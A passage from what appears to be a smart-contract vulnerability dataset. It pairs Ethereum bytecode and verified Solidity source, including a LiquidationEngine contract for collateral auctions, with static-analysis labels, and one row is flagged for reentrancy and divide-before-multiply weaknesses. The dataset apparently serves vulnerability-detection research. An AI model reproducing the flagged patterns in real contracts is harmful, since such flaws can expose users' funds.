3360008181526009602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b1580156105af57600080fd5b505af11580156105c3573d6000803e3d6000fd5b505050506040513d60208110156105d957600080fd5b50516106165760405162461bcd60e51b815260040180806020018281038252602c815260200180610f84602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600960205260409020600181019190915560085460038201556005546002909101555b565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a909252822054600554929384936106cb93919261030e929161030891610c4d565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610716926103089190610c4d565b8161071d57fe5b6001600160a01b0394909416600090815260096020526040902060040154930601909101919050565b6000546001600160a01b031681565b60055481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156107b557600080fd5b505af11580156107c9573d6000803e3d6000fd5b505050506040513d60208110156107df57600080fd5b505161081c5760405162461bcd60e51b8152600401808060200182810382526030815260200180610fff6030913960400191505060405180910390fd5b61082581610c8f565b50565b60025481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561088857600080fd5b505af115801561089c573d6000803e3d6000fd5b505050506040513d60208110156108b257600080fd5b50516108ef5760405162461bcd60e51b815260040180806020018281038252602e815260200180610fd1602e913960400191505060405180910390fd5b600254600090156109115761090e600a61030e60035461030886610ab2565b90505b600254156109225761092281610c8f565b600061092d33610b81565b336000908152600960205260409020600481018054830190555490915061095e906109588585610c4d565b90610d74565b33600090815260096020526040902090815560018101829055600554600282015560085460039091015561099e6109958484610c4d565b60025490610d74565b6002557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336104b38585610c4d565b6000546001600160a01b031633146109e457600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600154604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610a8057600080fd5b505afa158015610a94573d6000803e3d6000fd5b505050506040513d6020811015610aaa57600080fd5b505192915050565b600080610ac0836064610dce565b90506000610ad561271061030e846064610add565b949350505050565b600082610aec57506000610b39565b82820282848281610af957fe5b0414610b365760405162461bcd60e51b8152600401808060200182810382526021815260200180610fb06021913960400191505060405180910390fd5b90505b92915050565b6000610b3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610de8565b6007546001600160a01b03821660009081526009602090815260408083208054600390910154600019018452600a90925282205460055492938493610bd093919261030e929161030891610c4d565b6007546001600160a01b03851660009081526009602090815260408083208054600390910154600019018452600a909252909120546005549394509192610c1b926103089190610c4d565b81610c2257fe5b6001600160a01b03949094166000908152600960205260409020600401805491909406019092555090565b6000610b3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e8a565b6000610cac60065461095860075485610add90919063ffffffff16565b90506000610cc560025483610b3f90919063ffffffff16565b9050610cdc60025483610ee490919063ffffffff16565b600655600554610cec9082610d74565b600555600854600019016000908152600a6020526040902054610d0f9082610d74565b600880546000908152600a602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600082820183811015610b36576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610ddf57fe5b04029392505050565b60008183610e745760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e39578181015183820152602001610e21565b50505050905090810190601f168015610e665780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610e8057fe5b0495945050505050565b60008184841115610edc5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e39578181015183820152602001610e21565b505050900390565b6000610b3683836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183610f705760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610e39578181015183820152602001610e21565b50828481610f7a57fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220c8eca0ecfe48a7e8aea5f141125c65f91982d3a36385500119c9ccb8605153b164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 101 |
0x27efc6ffe79692e0521e7e27657cf228240a06c2 | /**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
/// LiquidationEngine.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract CollateralAuctionHouseLike {
function startAuction(
address forgoneCollateralReceiver,
address initialBidder,
uint256 amountToRaise,
uint256 collateralToSell,
uint256 initialBid
) virtual public returns (uint256);
}
abstract contract SAFESaviourLike {
function saveSAFE(address,bytes32,address) virtual external returns (bool,uint256,uint256);
}
abstract contract SAFEEngineLike {
function collateralTypes(bytes32) virtual public view returns (
uint256 debtAmount, // [wad]
uint256 accumulatedRate, // [ray]
uint256 safetyPrice, // [ray]
uint256 debtCeiling, // [rad]
uint256 debtFloor, // [rad]
uint256 liquidationPrice // [ray]
);
function safes(bytes32,address) virtual public view returns (
uint256 lockedCollateral, // [wad]
uint256 generatedDebt // [wad]
);
function confiscateSAFECollateralAndDebt(bytes32,address,address,address,int256,int256) virtual external;
function canModifySAFE(address, address) virtual public view returns (bool);
function approveSAFEModification(address) virtual external;
function denySAFEModification(address) virtual external;
}
abstract contract AccountingEngineLike {
function pushDebtToQueue(uint256) virtual external;
}
contract LiquidationEngine {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "LiquidationEngine/account-not-authorized");
_;
}
// --- SAFE Saviours ---
// Contracts that can save SAFEs from liquidation
mapping (address => uint256) public safeSaviours;
/**
* @notice Authed function to add contracts that can save SAFEs from liquidation
* @param saviour SAFE saviour contract to be whitelisted
**/
function connectSAFESaviour(address saviour) external isAuthorized {
(bool ok, uint256 collateralAdded, uint256 liquidatorReward) =
SAFESaviourLike(saviour).saveSAFE(address(this), "", address(0));
require(ok, "LiquidationEngine/saviour-not-ok");
require(both(collateralAdded == uint256(-1), liquidatorReward == uint256(-1)), "LiquidationEngine/invalid-amounts");
safeSaviours[saviour] = 1;
emit ConnectSAFESaviour(saviour);
}
/**
* @notice Governance used function to remove contracts that can save SAFEs from liquidation
* @param saviour SAFE saviour contract to be removed
**/
function disconnectSAFESaviour(address saviour) external isAuthorized {
safeSaviours[saviour] = 0;
emit DisconnectSAFESaviour(saviour);
}
// --- Data ---
struct CollateralType {
// Address of the collateral auction house handling liquidations for this collateral type
address collateralAuctionHouse;
// Penalty applied to every liquidation involving this collateral type. Discourages SAFE users from bidding on their own SAFEs
uint256 liquidationPenalty; // [wad]
// Max amount of system coins to request in one auction
uint256 liquidationQuantity; // [rad]
}
// Collateral types included in the system
mapping (bytes32 => CollateralType) public collateralTypes;
// Saviour contract chosen for each SAFE by its creator
mapping (bytes32 => mapping(address => address)) public chosenSAFESaviour;
// Mutex used to block against re-entrancy when 'liquidateSAFE' passes execution to a saviour
mapping (bytes32 => mapping(address => uint8)) public mutex;
// Max amount of system coins that can be on liquidation at any time
uint256 public onAuctionSystemCoinLimit; // [rad]
// Current amount of system coins out for liquidation
uint256 public currentOnAuctionSystemCoins; // [rad]
// Whether this contract is enabled
uint256 public contractEnabled;
SAFEEngineLike public safeEngine;
AccountingEngineLike public accountingEngine;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ConnectSAFESaviour(address saviour);
event DisconnectSAFESaviour(address saviour);
event UpdateCurrentOnAuctionSystemCoins(uint256 currentOnAuctionSystemCoins);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(bytes32 parameter, address data);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
address data
);
event DisableContract();
event Liquidate(
bytes32 indexed collateralType,
address indexed safe,
uint256 collateralAmount,
uint256 debtAmount,
uint256 amountToRaise,
address collateralAuctioneer,
uint256 auctionId
);
event SaveSAFE(
bytes32 indexed collateralType,
address indexed safe,
uint256 collateralAddedOrDebtRepaid
);
event FailedSAFESave(bytes failReason);
event ProtectSAFE(
bytes32 indexed collateralType,
address indexed safe,
address saviour
);
// --- Init ---
constructor(address safeEngine_) public {
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
onAuctionSystemCoinLimit = uint256(-1);
contractEnabled = 1;
emit AddAuthorization(msg.sender);
emit ModifyParameters("onAuctionSystemCoinLimit", uint256(-1));
}
// --- Math ---
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
uint256 constant MAX_LIQUIDATION_QUANTITY = uint256(-1) / RAY;
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "LiquidationEngine/add-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "LiquidationEngine/sub-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "LiquidationEngine/mul-overflow");
}
function minimum(uint256 x, uint256 y) internal pure returns (uint256 z) {
if (x > y) { z = y; } else { z = x; }
}
// --- Utils ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Administration ---
/*
* @notice Modify uint256 parameters
* @param paramter The name of the parameter modified
* @param data Value for the new parameter
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "onAuctionSystemCoinLimit") onAuctionSystemCoinLimit = data;
else revert("LiquidationEngine/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/**
* @notice Modify contract integrations
* @param parameter The name of the parameter modified
* @param data New address for the parameter
*/
function modifyParameters(bytes32 parameter, address data) external isAuthorized {
if (parameter == "accountingEngine") accountingEngine = AccountingEngineLike(data);
else revert("LiquidationEngine/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/**
* @notice Modify liquidation params
* @param collateralType The collateral type we change parameters for
* @param parameter The name of the parameter modified
* @param data New value for the parameter
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
if (parameter == "liquidationPenalty") collateralTypes[collateralType].liquidationPenalty = data;
else if (parameter == "liquidationQuantity") {
require(data <= MAX_LIQUIDATION_QUANTITY, "LiquidationEngine/liquidation-quantity-overflow");
collateralTypes[collateralType].liquidationQuantity = data;
}
else revert("LiquidationEngine/modify-unrecognized-param");
emit ModifyParameters(
collateralType,
parameter,
data
);
}
/**
* @notice Modify collateral auction integration
* @param collateralType The collateral type we change parameters for
* @param parameter The name of the integration modified
* @param data New address for the integration contract
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
address data
) external isAuthorized {
if (parameter == "collateralAuctionHouse") {
safeEngine.denySAFEModification(collateralTypes[collateralType].collateralAuctionHouse);
collateralTypes[collateralType].collateralAuctionHouse = data;
safeEngine.approveSAFEModification(data);
}
else revert("LiquidationEngine/modify-unrecognized-param");
emit ModifyParameters(
collateralType,
parameter,
data
);
}
/**
* @notice Disable this contract (normally called by GlobalSettlement)
*/
function disableContract() external isAuthorized {
contractEnabled = 0;
emit DisableContract();
}
// --- SAFE Liquidation ---
/**
* @notice Choose a saviour contract for your SAFE
* @param collateralType The SAFE's collateral type
* @param safe The SAFE's address
* @param saviour The chosen saviour
*/
function protectSAFE(
bytes32 collateralType,
address safe,
address saviour
) external {
require(safeEngine.canModifySAFE(safe, msg.sender), "LiquidationEngine/cannot-modify-safe");
require(saviour == address(0) || safeSaviours[saviour] == 1, "LiquidationEngine/saviour-not-authorized");
chosenSAFESaviour[collateralType][safe] = saviour;
emit ProtectSAFE(
collateralType,
safe,
saviour
);
}
/**
* @notice Liquidate a SAFE
* @param collateralType The SAFE's collateral type
* @param safe The SAFE's address
*/
function liquidateSAFE(bytes32 collateralType, address safe) external returns (uint256 auctionId) {
require(mutex[collateralType][safe] == 0, "LiquidationEngine/non-null-mutex");
mutex[collateralType][safe] = 1;
(, uint256 accumulatedRate, , , uint256 debtFloor, uint256 liquidationPrice) = safeEngine.collateralTypes(collateralType);
(uint256 safeCollateral, uint256 safeDebt) = safeEngine.safes(collateralType, safe);
require(contractEnabled == 1, "LiquidationEngine/contract-not-enabled");
require(both(
liquidationPrice > 0,
multiply(safeCollateral, liquidationPrice) < multiply(safeDebt, accumulatedRate)
), "LiquidationEngine/safe-not-unsafe");
require(
both(currentOnAuctionSystemCoins < onAuctionSystemCoinLimit,
subtract(onAuctionSystemCoinLimit, currentOnAuctionSystemCoins) >= debtFloor),
"LiquidationEngine/liquidation-limit-hit"
);
if (chosenSAFESaviour[collateralType][safe] != address(0) &&
safeSaviours[chosenSAFESaviour[collateralType][safe]] == 1) {
try SAFESaviourLike(chosenSAFESaviour[collateralType][safe]).saveSAFE(msg.sender, collateralType, safe)
returns (bool ok, uint256 collateralAddedOrDebtRepaid, uint256) {
if (both(ok, collateralAddedOrDebtRepaid > 0)) {
emit SaveSAFE(collateralType, safe, collateralAddedOrDebtRepaid);
}
} catch (bytes memory revertReason) {
emit FailedSAFESave(revertReason);
}
}
// Checks that the saviour didn't take collateral or add more debt to the SAFE
{
(uint256 newSafeCollateral, uint256 newSafeDebt) = safeEngine.safes(collateralType, safe);
require(both(newSafeCollateral >= safeCollateral, newSafeDebt <= safeDebt), "LiquidationEngine/invalid-safe-saviour-operation");
}
(, accumulatedRate, , , , liquidationPrice) = safeEngine.collateralTypes(collateralType);
(safeCollateral, safeDebt) = safeEngine.safes(collateralType, safe);
if (both(liquidationPrice > 0, multiply(safeCollateral, liquidationPrice) < multiply(safeDebt, accumulatedRate))) {
CollateralType memory collateralData = collateralTypes[collateralType];
uint256 limitAdjustedDebt = minimum(
safeDebt,
multiply(minimum(collateralData.liquidationQuantity, subtract(onAuctionSystemCoinLimit, currentOnAuctionSystemCoins)), WAD) / accumulatedRate / collateralData.liquidationPenalty
);
require(limitAdjustedDebt > 0, "LiquidationEngine/null-auction");
require(either(limitAdjustedDebt == safeDebt, multiply(subtract(safeDebt, limitAdjustedDebt), accumulatedRate) >= debtFloor), "LiquidationEngine/dusty-safe");
uint256 collateralToSell = minimum(safeCollateral, multiply(safeCollateral, limitAdjustedDebt) / safeDebt);
require(collateralToSell > 0, "LiquidationEngine/null-collateral-to-sell");
require(both(collateralToSell <= 2**255, limitAdjustedDebt <= 2**255), "LiquidationEngine/collateral-or-debt-overflow");
safeEngine.confiscateSAFECollateralAndDebt(
collateralType, safe, address(this), address(accountingEngine), -int256(collateralToSell), -int256(limitAdjustedDebt)
);
accountingEngine.pushDebtToQueue(multiply(limitAdjustedDebt, accumulatedRate));
{
// This calcuation will overflow if multiply(limitAdjustedDebt, accumulatedRate) exceeds ~10^14,
// i.e. the maximum amountToRaise is roughly 100 trillion system coins.
uint256 amountToRaise_ = multiply(multiply(limitAdjustedDebt, accumulatedRate), collateralData.liquidationPenalty) / WAD;
currentOnAuctionSystemCoins = addition(currentOnAuctionSystemCoins, amountToRaise_);
auctionId = CollateralAuctionHouseLike(collateralData.collateralAuctionHouse).startAuction(
{ forgoneCollateralReceiver: safe
, initialBidder: address(accountingEngine)
, amountToRaise: amountToRaise_
, collateralToSell: collateralToSell
, initialBid: 0
});
emit UpdateCurrentOnAuctionSystemCoins(currentOnAuctionSystemCoins);
}
emit Liquidate(collateralType, safe, collateralToSell, limitAdjustedDebt, multiply(limitAdjustedDebt, accumulatedRate), collateralData.collateralAuctionHouse, auctionId);
}
mutex[collateralType][safe] = 0;
}
/**
* @notice Remove debt that was currently being auctioned
* @param rad The amount of debt to withdraw from currentOnAuctionSystemCoins
*/
function removeCoinsFromAuction(uint256 rad) public isAuthorized {
currentOnAuctionSystemCoins = subtract(currentOnAuctionSystemCoins, rad);
emit UpdateCurrentOnAuctionSystemCoins(currentOnAuctionSystemCoins);
}
// --- Getters ---
/*
* @notice Get the amount of debt that can currently be covered by a collateral auction for a specific safe
* @param collateralType The collateral type of the SAFE
* @param safe The SAFE's address
*/
function getLimitAdjustedDebtToCover(bytes32 collateralType, address safe) external view returns (uint256) {
(, uint256 accumulatedRate,,,,) = safeEngine.collateralTypes(collateralType);
(uint256 safeCollateral, uint256 safeDebt) = safeEngine.safes(collateralType, safe);
CollateralType memory collateralData = collateralTypes[collateralType];
return minimum(
safeDebt,
multiply(minimum(collateralData.liquidationQuantity, subtract(onAuctionSystemCoinLimit, currentOnAuctionSystemCoins)), WAD) / accumulatedRate / collateralData.liquidationPenalty
);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634faeff1d116100c357806394f3f81d1161007c57806394f3f81d146103b757806395ffa802146103dd578063961d45c414610403578063d07900bb1461040b578063d4b9311d14610450578063fe4f5890146104795761014d565b80634faeff1d146102fd578063513a3dba146103235780635626da24146103555780636614f0101461037b57806367aea313146103a7578063894ba833146103af5761014d565b806335b281531161011557806335b28153146102255780633896a3841461024b5780633c7999571461027f57806341b3a0d914610287578063456b81811461028f5780634c28be57146102d15761014d565b8063049c92791461015257806324ba5884146101905780632c20afc4146101b657806332d0eefd146101fe578063332bef1114610206575b600080fd5b61017e6004803603604081101561016857600080fd5b50803590602001356001600160a01b031661049c565b60408051918252519081900360200190f35b61017e600480360360208110156101a657600080fd5b50356001600160a01b0316610647565b6101e2600480360360408110156101cc57600080fd5b50803590602001356001600160a01b0316610659565b604080516001600160a01b039092168252519081900360200190f35b61017e61067f565b6102236004803603602081101561021c57600080fd5b5035610685565b005b6102236004803603602081101561023b57600080fd5b50356001600160a01b0316610719565b6102236004803603606081101561026157600080fd5b508035906001600160a01b03602082013581169160400135166107b9565b61017e610950565b61017e610956565b6102bb600480360360408110156102a557600080fd5b50803590602001356001600160a01b031661095c565b6040805160ff9092168252519081900360200190f35b61017e600480360360408110156102e757600080fd5b50803590602001356001600160a01b031661097c565b6102236004803603602081101561031357600080fd5b50356001600160a01b03166114f7565b6102236004803603606081101561033957600080fd5b50803590602081013590604001356001600160a01b0316611598565b61017e6004803603602081101561036b57600080fd5b50356001600160a01b0316611785565b6102236004803603604081101561039157600080fd5b50803590602001356001600160a01b0316611797565b6101e2611862565b610223611871565b610223600480360360208110156103cd57600080fd5b50356001600160a01b03166118ef565b610223600480360360208110156103f357600080fd5b50356001600160a01b031661198e565b6101e2611b66565b6104286004803603602081101561042157600080fd5b5035611b75565b604080516001600160a01b039094168452602084019290925282820152519081900360600190f35b6102236004803603606081101561046657600080fd5b5080359060208101359060400135611ba1565b6102236004803603604081101561048f57600080fd5b5080359060200135611cf2565b6008546040805163d07900bb60e01b815260048101859052905160009283926001600160a01b039091169163d07900bb9160248082019260c092909190829003018186803b1580156104ed57600080fd5b505afa158015610501573d6000803e3d6000fd5b505050506040513d60c081101561051757600080fd5b506020015160085460408051630f50894160e21b8152600481018890526001600160a01b038781166024830152825194955060009485949190911692633d4225049260448082019391829003018186803b15801561057457600080fd5b505afa158015610588573d6000803e3d6000fd5b505050506040513d604081101561059e57600080fd5b50805160209091015190925090506105b4611ee8565b50600086815260026020818152604092839020835160608101855281546001600160a01b031681526001820154928101839052920154928201839052600554600654929361063a938693928992610625926106179261061291611dac565b611e04565b670de0b6b3a7640000611e1c565b8161062c57fe5b048161063457fe5b04611e04565b9450505050505b92915050565b60006020819052908152604090205481565b60036020908152600092835260408084209091529082529020546001600160a01b031681565b60055481565b336000908152602081905260409020546001146106d35760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b6106df60065482611dac565b600681905560408051918252517fe1bbac4c69a9c7825ff4f220089a412e2349521ceba06c7f07c3764522ef04149181900360200190a150565b336000908152602081905260409020546001146107675760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b600854604080516350de215d60e01b81526001600160a01b038581166004830152336024830152915191909216916350de215d916044808301926020929190829003018186803b15801561080c57600080fd5b505afa158015610820573d6000803e3d6000fd5b505050506040513d602081101561083657600080fd5b50516108735760405162461bcd60e51b81526004018080602001828103825260248152602001806120a76024913960400191505060405180910390fd5b6001600160a01b03811615806108a257506001600160a01b038116600090815260016020819052604090912054145b6108dd5760405162461bcd60e51b81526004018080602001828103825260288152602001806120566028913960400191505060405180910390fd5b60008381526003602090815260408083206001600160a01b038681168086529184529382902080546001600160a01b031916948616948517905581519384529051909286927f9c0c3b2f97315fb268638262f83f63de4f645ad9ae8ea84e2182f67e7d28d8f792918290030190a3505050565b60065481565b60075481565b600460209081526000928352604080842090915290825290205460ff1681565b60008281526004602090815260408083206001600160a01b038516845290915281205460ff16156109f4576040805162461bcd60e51b815260206004820181905260248201527f4c69717569646174696f6e456e67696e652f6e6f6e2d6e756c6c2d6d75746578604482015290519081900360640190fd5b60008381526004602081815260408084206001600160a01b0380881686529252808420805460ff19166001179055600854815163d07900bb60e01b8152938401889052905184938493929092169163d07900bb9160248083019260c0929190829003018186803b158015610a6757600080fd5b505afa158015610a7b573d6000803e3d6000fd5b505050506040513d60c0811015610a9157600080fd5b506020810151608082015160a09092015160085460408051630f50894160e21b8152600481018c90526001600160a01b038b8116602483015282519599509597509295506000948594921692633d4225049260448083019392829003018186803b158015610afe57600080fd5b505afa158015610b12573d6000803e3d6000fd5b505050506040513d6040811015610b2857600080fd5b5080516020909101516007549193509150600114610b775760405162461bcd60e51b81526004018080602001828103825260268152602001806120306026913960400191505060405180910390fd5b610b9860008411610b888388611e1c565b610b928587611e1c565b10611e88565b610bd35760405162461bcd60e51b8152600401808060200182810382526021815260200180611fe26021913960400191505060405180910390fd5b610bf36005546006541085610bec600554600654611dac565b1015611e88565b610c2e5760405162461bcd60e51b8152600401808060200182810382526027815260200180611f136027913960400191505060405180910390fd5b60008881526003602090815260408083206001600160a01b038b811685529252909120541615801590610c90575060008881526003602090815260408083206001600160a01b03808c1685529083528184205416835260019182905290912054145b15610e6b5760008881526003602090815260408083206001600160a01b03808c168086529190935281842054825163b9b0bb3960e01b8152336004820152602481018e905260448101929092529151919092169263b9b0bb3992606480820193606093909283900390910190829087803b158015610d0d57600080fd5b505af1925050508015610d4157506040513d6060811015610d2d57600080fd5b508051602082015160409092015190919060015b610e14573d808015610d6f576040519150601f19603f3d011682016040523d82523d6000602084013e610d74565b606091505b507fe7862113e21c9c96e382110b92dfc08242b5c58f90259305fe30adc0d77e2a43816040518080602001828103825283818151815260200191508051906020019080838360005b83811015610dd4578181015183820152602001610dbc565b50505050905090810190601f168015610e015780820380516001836020036101000a031916815260200191505b509250505060405180910390a150610e6b565b610e218360008411611e88565b15610e67576040805183815290516001600160a01b038c16918d917f7afee8680e1a5395600115d5fc996ecb20b450ca793815c08c9b19d2dc6663d79181900360200190a35b5050505b60085460408051630f50894160e21b8152600481018b90526001600160a01b038a8116602483015282516000948594921692633d422504926044808301939192829003018186803b158015610ebf57600080fd5b505afa158015610ed3573d6000803e3d6000fd5b505050506040513d6040811015610ee957600080fd5b5080516020909101519092509050610f078483101584831115611e88565b610f425760405162461bcd60e51b8152600401808060200182810382526030815260200180611f3a6030913960400191505060405180910390fd5b50506008546040805163d07900bb60e01b8152600481018b905290516001600160a01b039092169163d07900bb9160248082019260c092909190829003018186803b158015610f9057600080fd5b505afa158015610fa4573d6000803e3d6000fd5b505050506040513d60c0811015610fba57600080fd5b50602081015160a09091015160085460408051630f50894160e21b8152600481018d90526001600160a01b038c811660248301528251959a509397509290911692633d422504926044808201939291829003018186803b15801561101d57600080fd5b505afa158015611031573d6000803e3d6000fd5b505050506040513d604081101561104757600080fd5b5080516020909101519092509050611065831515610b888388611e1c565b156114c457611072611ee8565b506000888152600260208181526040808420815160608101835281546001600160a01b0316815260018201549381018490529301549083018190526005546006549394936110d493879390928c92610625926106179290916106129190611dac565b90506000811161112b576040805162461bcd60e51b815260206004820152601e60248201527f4c69717569646174696f6e456e67696e652f6e756c6c2d61756374696f6e0000604482015290519081900360640190fd5b61114c8382148761114561113f8786611dac565b8b611e1c565b1015611e8c565b61119d576040805162461bcd60e51b815260206004820152601c60248201527f4c69717569646174696f6e456e67696e652f64757374792d7361666500000000604482015290519081900360640190fd5b60006111b585856111ae8886611e1c565b8161063457fe5b9050600081116111f65760405162461bcd60e51b815260040180806020018281038252602981526020018061207e6029913960400191505060405180910390fd5b61120e600160ff1b821115600160ff1b841115611e88565b6112495760405162461bcd60e51b815260040180806020018281038252602d815260200180612003602d913960400191505060405180910390fd5b60085460095460408051634e14a96760e01b8152600481018f90526001600160a01b038e8116602483015230604483015292831660648201526000858103608483015286810360a483015291519290931692634e14a9679260c4808301939282900301818387803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b50506009546001600160a01b0316915063a8b30a9f90506112f2848b611e1c565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561132857600080fd5b505af115801561133c573d6000803e3d6000fd5b505050506000670de0b6b3a7640000611362611358858c611e1c565b8660200151611e1c565b8161136957fe5b04905061137860065482611e90565b60065583516009546040805163097af09d60e21b81526001600160a01b038f8116600483015292831660248201526044810185905260648101869052600060848201819052915192909316926325ebc2749260a48083019360209383900390910190829087803b1580156113eb57600080fd5b505af11580156113ff573d6000803e3d6000fd5b505050506040513d602081101561141557600080fd5b50516006546040805191825251919b507fe1bbac4c69a9c7825ff4f220089a412e2349521ceba06c7f07c3764522ef0414919081900360200190a150896001600160a01b03168b7f72d3864f233703680912d39433c137e816d579e8785e5245274ca9f95bea89678385611489878e611e1c565b8851604080519485526020850193909352838301919091526001600160a01b03166060830152608082018e9052519081900360a00190a35050505b505050600094855250506004602090815260408085206001600160a01b0390941685529290529120805460ff1916905590565b336000908152602081905260409020546001146115455760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b6001600160a01b038116600081815260016020908152604080832092909255815192835290517ffce504fd9d349038183fa936cbbfadf867e63406485f0f4f9f45f7f2856f813f9281900390910190a150565b336000908152602081905260409020546001146115e65760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b8175636f6c6c61746572616c41756374696f6e486f75736560501b14156117015760085460008481526002602052604080822054815163d49d786760e01b81526001600160a01b039182166004820152915193169263d49d78679260248084019391929182900301818387803b15801561165f57600080fd5b505af1158015611673573d6000803e3d6000fd5b50505060008481526002602052604080822080546001600160a01b0319166001600160a01b038681169182179092556008548351631b29a84160e31b81526004810192909252925192909116935063d94d420892602480830193919282900301818387803b1580156116e457600080fd5b505af11580156116f8573d6000803e3d6000fd5b50505050611738565b60405162461bcd60e51b815260040180806020018281038252602b8152602001806120cb602b913960400191505060405180910390fd5b60408051848152602081018490526001600160a01b0383168183015290517f87c209b94b27bfe8cb3329ca996f854fc16f2ec485116b0932eccd15fac50a409181900360600190a1505050565b60016020526000908152604090205481565b336000908152602081905260409020546001146117e55760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b816f6163636f756e74696e67456e67696e6560801b141561170157600980546001600160a01b0319166001600160a01b038316179055604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b6008546001600160a01b031681565b336000908152602081905260409020546001146118bf5760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b600060078190556040517f2d4b4ecff7bd7503135271925520a2f6c0d98c9473ffc1a1e72c92502f51b25e9190a1565b3360009081526020819052604090205460011461193d5760405162461bcd60e51b8152600401808060200182810382526028815260200180611f6a6028913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b336000908152602081905260409020546001146119dc5760405162461bcd60e51b8152600401808060200182810382526028815260200180611f